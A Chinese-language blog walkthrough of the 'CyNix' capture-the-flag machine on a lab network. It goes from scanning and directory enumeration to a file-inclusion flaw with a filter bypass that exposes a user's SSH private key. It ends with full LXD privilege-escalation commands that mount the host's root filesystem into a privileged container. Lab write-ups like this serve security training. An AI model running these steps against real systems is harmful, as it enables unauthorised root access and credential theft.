CyNix

主机发现

1 netdiscover -i eth0 -r 192.168.15.0/24

端口扫描

1 nmap -A -p- -sV 192.168.15.157

访问80端口

目录扫描

1 gobuster dir -u http://192.168.15.157 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

访问/lavalamp子目录

在CONCAT提交会出现一个空白框

使用burp进行流量截取

复制URL打开发现有内容被隐藏,修改数值为1.0即可显示

继续开启监听,发现参数是file,可能存在LIF漏洞

被过滤了不允许访问

加上a成功绕过

发现可登录用户ford

采用另一个端口(6688)进行ssh连接

1 ssh ford@192.168.15.157 -p 6688 

显示关闭了密码登录,所以需要一个私钥进行登录

补充说明:私钥一般和公钥放在一起,理论上都在用户的家目录中

复制私钥并赋予合理的权限再次进行连接

获取到第一个flag

使用LinEnum工具进行提权

链接:https://github.com/rebootuser/LinEnum

把当前目录利用python进行发布

在靶机上下载脚本,赋予执行权限后执行脚本

再次补充:
LXD、LXC 和 Docker 是三种不同的容器化技术,它们在实现和使用上有一些区别。

总结来说,LXD是基于LXC的系统级容器管理器,提供了更高级别的接口和管理工具;LXC是Linux内核提供的一种虚拟化技术,允许在单个Linux内核上运行多个隔离的用户空间实例;而Docker是基于LXC的容器化平台,提供了一套简化容器构建、分发和运行的工具和API。

LXD提权原理:LXD 是基于 LXC 容器的管理程序,当前用户可操作容器。所以用户可创建一个容器,再用容器挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。

LXD 提权条件: 已经获得 shell  用户属于 lxd 组 

查看镜像列表

1 lxc image list

按照实际情况,需要创建一个特权镜像,但往往会失败,所以这里选择在kali生成镜像,然后复制到靶机上面

先在kali上面下载alpine,然后生成镜像

链接:https://github.com/saghul/lxd-alpine-builder

发布当前目录,在靶机上进行复制

导入镜像并对其重命名

1 lxc image import alpine-v3.20-x86_64-20240531_2302.tar.gz --alias hacker

创建容器

1 lxc init hacker hacker -c security.privileged=true

将容器hacker挂载到 /mnt/root 下

1 lxc config device add hacker hacker disk source=/ path=/mnt/root recursive=true

启动容器

1 lxc start hacker

与主机进行交互

1 lxc exec hacker /bin/sh

获取到第二个flag

posted @ 2024-06-01 10:46  lxl3344  阅读(6)  评论(0编辑  收藏  举报